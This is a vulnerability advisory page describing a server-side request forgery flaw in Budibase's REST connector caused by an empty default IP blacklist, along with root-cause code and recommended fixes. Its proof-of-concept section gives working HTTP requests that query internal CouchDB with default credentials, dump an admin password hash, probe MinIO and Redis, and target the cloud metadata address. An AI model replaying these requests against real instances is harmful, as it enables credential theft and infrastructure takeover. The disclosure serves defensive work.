CVE-2026-31818: Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist

Published Apr 3, 2026
·
Updated

1. Summary

| Field | Value | |-------|-------| | Title | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration | | Product | Budibase | | Version | 3.30.6 (latest stable as of 2026-02-25) | | Component | REST Datasource Integration + Backend-Core Blacklist Module | | Severity | Critical | | Attack Vector | Network | | Privileges Required | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) | | User Interaction | None | | Affected Deployments | All self-hosted instances without explicit BLACKLISTIPS configuration (believed to be the vast majority) |

---

2. Description

A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the BLACKLISTIPS environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns false, allowing all requests through without restriction.

This allows any user with Builder privileges (or QUERY WRITE permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.

The vulnerability is particularly severe because: 1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data 2. CouchDB credentials are embedded in the environment variables visible to the application container 3. A successful exploit grants full read/write access to the entire Budibase data layer

---

3. Root Cause Analysis

3.1 Blacklist Implementation

File: packages/backend-core/src/blacklist/blacklist.ts

typescript // Line 23-37: Blacklist refresh reads from environment variable export async function refreshBlacklist() { const blacklist = env.BLACKLISTIPS // ← reads BLACKLISTIPS const list = blacklist?.split(",") || [] // ← empty array if unset let final: string[] = [] for (let addr of list) { // ... resolves domains to IPs } blackListArray = final // ← empty array }

// Line 39-54: Blacklist check export async function isBlacklisted(address: string): Promise<boolean> { if (!blackListArray) { await refreshBlacklist() } if (blackListArray?.length === 0) { return false // ← ALWAYS returns false when empty } // ... rest of check never executes }

Problem: When BLACKLISTIPS is not set (the default), blackListArray is initialized as an empty array, and isBlacklisted() unconditionally returns false for every URL.

3.2 Default Configuration Missing BLACKLISTIPS

File: hosting/.env (official Docker Compose deployment template)

env MAINPORT=10000 APIENCRYPTIONKEY=testsecret JWTSECRET=testsecret MINIOACCESSKEY=budibase MINIOSECRETKEY=budibase COUCHDBPASSWORD=budibase COUCHDBUSER=budibase REDISPASSWORD=budibase INTERNALAPIKEY=budibase ... (19 other variables) BLACKLISTIPS is NOT present

No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.

3.3 REST Integration Blacklist Check

File: packages/server/src/integrations/rest.ts

typescript // Line 684-686: Blacklist check before fetch const url = this.getUrl(path, queryString, pagination, paginationValues) if (await blacklist.isBlacklisted(url)) { // ← always false throw new Error("Cannot connect to URL.") // ← never reached } // Line 708: response = await fetch(url, input) // ← unrestricted fetch

3.4 Authorization Model

| Operation | Endpoint | Required Permission | |-----------|----------|-------------------| | Create datasource | POST /api/datasources | BUILDER (app-level) | | Create query | POST /api/queries | BUILDER (app-level) | | Execute query | POST /api/v2/queries/:id | QUERY WRITE (can be granted to any app user) |

Route definitions: - packages/server/src/api/routes/datasource.ts:19 → builderRoutes - packages/server/src/api/routes/query.ts:33 → builderRoutes (create) - packages/server/src/api/routes/query.ts:55-66 → writeRoutes with PermissionType.QUERY, PermissionLevel.WRITE (execute)

Key insight: The BUILDER role is an app-level permission, significantly lower than GLOBALBUILDER (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.

---

4. Impact Analysis

4.1 Confidentiality — Critical

An attacker can read: - All CouchDB databases (/alldbs) - User credentials including bcrypt password hashes, email addresses (/global-db/alldocs?includedocs=true) - Platform configuration including encryption keys, JWT secrets - All application data across every app in the instance - Internal service metadata (MinIO storage, Redis)

4.2 Integrity — High

Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can: - Modify user records to escalate privileges - Create new admin accounts directly in CouchDB - Alter application data in any app's database - Delete databases causing data loss

4.3 Availability — Medium

- Resource exhaustion by making the server proxy large responses from internal services - Database destruction via CouchDB DELETE operations - Service disruption by modifying critical configuration documents

4.4 Scope Change

The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A Builder user should only be able to configure app-level logic, but this vulnerability grants direct access to: - CouchDB (database layer) - MinIO (storage layer) - Redis (cache/session layer) - Any other service accessible from the Docker network

---

5. Proof of Concept

5.1 Environment Setup

bash cd hosting/ docker compose up -d Wait for services to start Create admin account via POST /api/global/users/init Login to obtain session cookie

Tested on: Budibase v3.30.6, Docker Compose deployment with default hosting/.env

5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB

http POST /api/datasources HTTP/1.1 Host: localhost:10000 Content-Type: application/json Cookie: budibase:auth=<sessiontoken> x-budibase-app-id: <appid>

{ "datasource": { "name": "Internal CouchDB", "source": "REST", "type": "datasource", "config": { "url": "http://couchdb-service:5984", "defaultHeaders": {} } } }

Response (201 — datasource created successfully): json { "datasource": { "id": "datasource4530e34a8b2e423f8f8eb53e2b2cefc6", "name": "Internal CouchDB", "source": "REST", "config": { "url": "http://couchdb-service:5984" } } }

No warning, no validation error — an internal hostname is accepted without restriction.

5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)

Create and execute a query to GET /:

http POST /api/v2/queries/<queryid> HTTP/1.1

Response — Internal CouchDB data returned to the attacker: json { "data": [{ "couchdb": "Welcome", "version": "3.3.3", "gitsha": "40afbcfc7", "uuid": "9cd97b58e2cef72e730a83247c377d2b", "features": ["search","access-ready","partitioned", "pluggable-storage-engines","reshard","scheduler"], "vendor": {"name": "The Apache Software Foundation"} }], "code": 200, "time": "44ms" }

5.4 Step 3 — Enumerate All Databases

Query: GET /alldbs with CouchDB admin credentials (from .env: budibase:budibase)

json { "data": [ {"value": "replicator"}, {"value": "users"}, {"value": "appdev3eeb8d7949074250ae62f206ad0b61a5"}, {"value": "appdev5135f7f368bc4701a7f163baaf22f1b7"}, {"value": "global-db"}, {"value": "global-info"} ] }

5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets

Query: GET /global-db/alldocs?includedocs=true&limit=20 Headers: Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U= (budibase:budibase)

Response — Full user record with bcrypt hash: json { "data": [{ "totalrows": 4, "rows": [ { "id": "configsettings", "doc": { "id": "configsettings", "type": "settings", "config": { "platformUrl": "http://localhost:10000", "uniqueTenantId": "23ba9844703049778d75372e720c7169default" } } }, { "id": "us09c5f0a89b7f40c19db863e1aaaf90fd", "doc": { "id": "us09c5f0a89b7f40c19db863e1aaaf90fd", "email": "admin@test.com", "password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK", "builder": {"global": true}, "admin": {"global": true}, "tenantId": "default", "status": "active" } }, { "id": "usagequota", "doc": { "id": "usagequota", "quotaReset": "2026-03-01T00:00:00.000Z", "usageQuota": {"apps": 2, "users": 1, "creators": 1} } } ] }] }

Exfiltrated data includes: - Admin email: admin@test.com - Bcrypt password hash: $2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK - Role information: builder.global: true, admin.global: true - Tenant ID, platform URL, quota information

5.6 Step 5 — Access Other Internal Services

MinIO (Object Storage): Datasource URL: http://minio-service:9000 Response: {"Code":"BadRequest","Message":"An unsupported API call..."} Server header: MinIO Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.

Redis (Port Scanning): Datasource URL: http://redis-service:6379 Response: "fetch failed" (Redis speaks non-HTTP protocol) Different error from non-existent host → confirms service discovery capability.

Non-existent service: Datasource URL: http://nonexistent-service:12345 Response: "fetch failed"

5.7 Service Discovery Matrix

| Target | URL | Response | Service Confirmed | |--------|-----|----------|-------------------| | CouchDB | http://couchdb-service:5984/ | {"couchdb":"Welcome","version":"3.3.3"} | Yes — full data access | | MinIO | http://minio-service:9000/ | XML error with Server: MinIO header | Yes — storage access | | Redis | http://redis-service:6379/ | socket hang up / fetch failed | Yes — port open | | Non-existent | http://nonexistent:12345/ | fetch failed (ENOTFOUND) | No — different error |

This differential response enables internal network mapping.

---

6. Attack Scenarios

Scenario A: Builder User Steals All Credentials 1. User has Builder role for one app 2. Creates REST datasource → http://couchdb-service:5984 3. Queries global-db to get all user records with password hashes 4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT

Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation) 1. Attacker has Creator role (lower than Builder) 2. Exploits CVE-2026-25040 to invite themselves as Admin 3. Now has Builder access → exploits this SSRF 4. Complete instance takeover

Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure) 1. On cloud-hosted instances, datasource URL: http://169.254.169.254/latest/meta-data/ 2. Retrieves IAM credentials, instance metadata 3. Pivots to cloud infrastructure

---

7. Affected Code Paths

User Request │ ▼ POST /api/datasources [BUILDER permission] │ packages/server/src/api/routes/datasource.ts:32 │ → No URL validation on datasource.config.url ▼ POST /api/v2/queries/:queryId [QUERY WRITE permission] │ packages/server/src/api/routes/query.ts:63 ▼ packages/server/src/threads/query.ts │ → Executes query via REST integration ▼ packages/server/src/integrations/rest.ts │ Line 684: blacklist.isBlacklisted(url) → returns false (empty list) │ Line 708: fetch(url, input) → unrestricted request ▼ Internal Service (CouchDB, MinIO, Redis, etc.) │ ▼ Response returned to attacker via query results

---

8. Recommended Fixes

Fix 1 (Critical): Add Default Private IP Blocklist

typescript // packages/backend-core/src/blacklist/blacklist.ts

const DEFAULTBLOCKEDRANGES = [ "127.0.0.0/8", // localhost "10.0.0.0/8", // RFC1918 "172.16.0.0/12", // RFC1918 "192.168.0.0/16", // RFC1918 "169.254.0.0/16", // link-local / cloud metadata "0.0.0.0/8", // current network "::1/128", // IPv6 localhost "fc00::/7", // IPv6 private "fe80::/10", // IPv6 link-local ]

export async function isBlacklisted(address: string): Promise<boolean> { // Always check against default blocked ranges // even when BLACKLISTIPS is not configured const ips = await resolveToIPs(address) for (const ip of ips) { if (isInRange(ip, DEFAULTBLOCKEDRANGES)) { return true } } // Then check user-configured blacklist // ...existing logic... }

Fix 2 (High): Validate Datasource URLs at Creation Time

typescript // packages/server/src/api/controllers/datasource.ts

async function save(ctx) { const { config } = ctx.request.body.datasource if (config?.url) { if (await blacklist.isBlacklisted(config.url)) { ctx.throw(400, "Cannot create datasource targeting internal network") } } // ... existing logic }

Fix 3 (Medium): Add DNS Rebinding Protection

Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.

Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect

Ensure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.

Other sources

Budibase is an open-source low-code platform. Prior to version 3.33.4, a server-side request forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the BLACKLISTIPS environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns false, allowing all requests through without restriction. This issue has been patched in version 3.33.4.

MITRE

Affected Software

2 affected componentsFixes available
npm/@budibase/backend-core<3.33.4
3.33.4
budibase Budibase<3.33.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@budibase/backend-core to a version that resolves this vulnerability.

    Fixed in 3.33.4
  2. Upgrade

    Upgrade Budibase to a version that resolves this vulnerability.

    Fixed in 3.33.4
  3. Configuration

    In the official deployment configuration, set BLACKLIST_IPS so the blacklist is not empty (the vulnerability occurs when BLACKLIST_IPS is not set by default).

    Budibase REST Datasource Integration + backend-core blacklist module BLACKLIST_IPS = not empty (must include blocked internal/private ranges such as RFC1918 and link-local/cloud metadata ranges)
  4. Configuration

    When validating REST datasource targets, resolve the target hostname at request time, then check the resolved IP(s) against the blacklist. Also, if a response redirects to an internal IP, validate the redirect target against the blacklist too.

    Budibase REST Datasource Integration Datasource URL validation during creation/execution = re-resolve target hostname to IP(s) at request time and re-check the resolved IP against the blacklist (prevents DNS rebinding)

Event History

Apr 3, 2026
CVE Published
via MITRE·03:41 PM
Data Sourced
via MITRE·03:41 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·09:34 PM
Data Sourced
via GitHub·09:34 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203